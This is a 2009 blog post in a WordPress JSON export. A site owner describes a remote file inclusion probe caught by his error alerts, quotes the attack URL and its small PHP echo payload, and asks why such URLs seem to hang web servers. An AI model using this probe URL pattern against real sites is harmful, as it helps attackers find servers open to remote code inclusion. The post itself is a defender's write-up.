{"id":515,"date":"2009-05-22T13:26:36","date_gmt":"2009-05-22T21:26:36","guid":{"rendered":"http:\/\/www.scamdex.com\/ScamBlog\/2009\/05\/php-exploit-url-foxes-apache\/"},"modified":"2009-08-13T17:50:38","modified_gmt":"2009-08-14T01:50:38","slug":"php-exploit-url-foxes-apache","status":"publish","type":"post","link":"https:\/\/scamdex.com\/ScamBlog\/2009\/05\/php-exploit-url-foxes-apache\/","title":{"rendered":"PHP Exploit URL foxes Apache"},"content":{"rendered":"

There are a lot of smart people out there who know way too much about computers and software and stuff, like this guy: ‘Perishable Press<\/a>‘. So, can someone clever please tell me why this simple url hangs up a bunch of seemingly dissimilar web servers:
\n
\nhttp:\/\/www.microsoft.com\/errors.php?error=http:\/\/abirdseyeviewof.com\/files\/image\/id1.txt?
\n<\/a><\/p>\n

\"My
My banana was once part of a bunch very similar to this one<\/figcaption><\/figure>\n

Here’s the deal – when someone asks for a webpage on Scamdex that doesn’t exist, it shoots me a quick email to tell me about it. That way I can see if anything is broken and if anyone is trying to hack my site. My normal response to obviousl hack-attempts\u00c2\u00a0 is to block the IP address or use .htaccess rewrite rules to send them to an oh-so-friendly\u00c2\u00a0 ‘go away page<\/a>‘ :).<\/p>\n

In this case, the URL carries a payload that is itself a\u00c2\u00a0 link to a file on a remote site, which it hopes I will allow to run on my server. The code (which is reproduced in it’s entirety here) will, if allowed to run, return the word ‘FeelCoMz’ to the ‘sKriptKiDee’, aka ‘Wanker’\u00c2\u00a0 on the sending end.<\/p>\n

\n
<?php \/* Fx29ID *\/ echo(\"FeeL\".\"CoMz\"); die(\"FeeL\".\"CoMz\"); \/* Fx29ID *\/ ?><\/pre>\n<\/blockquote>\n
So… it didn’t work, I trapped it and it raised a red flag, but then why, when I try the URL does it make a browser stand blinking like a deer in the proverbial headlights for 120 seconds before falling flat on it’s back?<\/p>\n
Analyzing the url gets me to this reduction of required parts:<\/p>\n
* any .php file path.
\n* any query string, that contains a ‘http:\/\/’ in
\n* must have a file extension such as txt, gif, png etc.
\n* must have the trailing ‘?’<\/p>\n
will cause the same problem on an awful lot of famous name servers. For example, including mine: scamdex.com, uniplex.com, google.com, microsoft.com, amazon.com etc etc.<\/p>\n
For example, in the following link, everything except ‘www.amazon.com’ is made up
\n
\nhttp:\/\/www.amazon.com\/a.php?b=http:\/\/c.gif?<\/a><\/p>\n
but it still exhibits the same behaviour – WTF is going on?<\/p>\n
and why, oh why can’t I detect it in my .htaccess file?<\/p>\n
First person to:
\n1. Tell me why it’s happening.
\n2. Tell me how to detect it and stop  it happening.
\n3. Tell me why Google hates me.<\/p>\n
gets a really major serious prize like my personal desktop banana, or this lovely (chipped) coffee mug with the name of a football club I don’t support on it – or even my second best earphones.<\/p>\n
Good luck!<\/p>\n
_________________________________<\/p>\n
Still no replies and it’s still happening…. where have all the gurus gone?<\/p>\n","protected":false},"excerpt":{"rendered":"
There are a lot of smart people out there who know way too much about computers and software and stuff, like this guy: ‘Perishable Press‘. So, can someone clever please tell me why this simple url hangs up a bunch of seemingly dissimilar web servers: http:\/\/www.microsoft.com\/errors.php?error=http:\/\/abirdseyeviewof.com\/files\/image\/id1.txt? Here’s the deal – when someone asks for a […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[38,16,79,15,83,1,12],"tags":[110,106,107,108,105,109,111],"_links":{"self":[{"href":"https:\/\/scamdex.com\/ScamBlog\/wp-json\/wp\/v2\/posts\/515"}],"collection":[{"href":"https:\/\/scamdex.com\/ScamBlog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/scamdex.com\/ScamBlog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/scamdex.com\/ScamBlog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/scamdex.com\/ScamBlog\/wp-json\/wp\/v2\/comments?post=515"}],"version-history":[{"count":8,"href":"https:\/\/scamdex.com\/ScamBlog\/wp-json\/wp\/v2\/posts\/515\/revisions"}],"predecessor-version":[{"id":516,"href":"https:\/\/scamdex.com\/ScamBlog\/wp-json\/wp\/v2\/posts\/515\/revisions\/516"}],"wp:attachment":[{"href":"https:\/\/scamdex.com\/ScamBlog\/wp-json\/wp\/v2\/media?parent=515"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/scamdex.com\/ScamBlog\/wp-json\/wp\/v2\/categories?post=515"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/scamdex.com\/ScamBlog\/wp-json\/wp\/v2\/tags?post=515"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}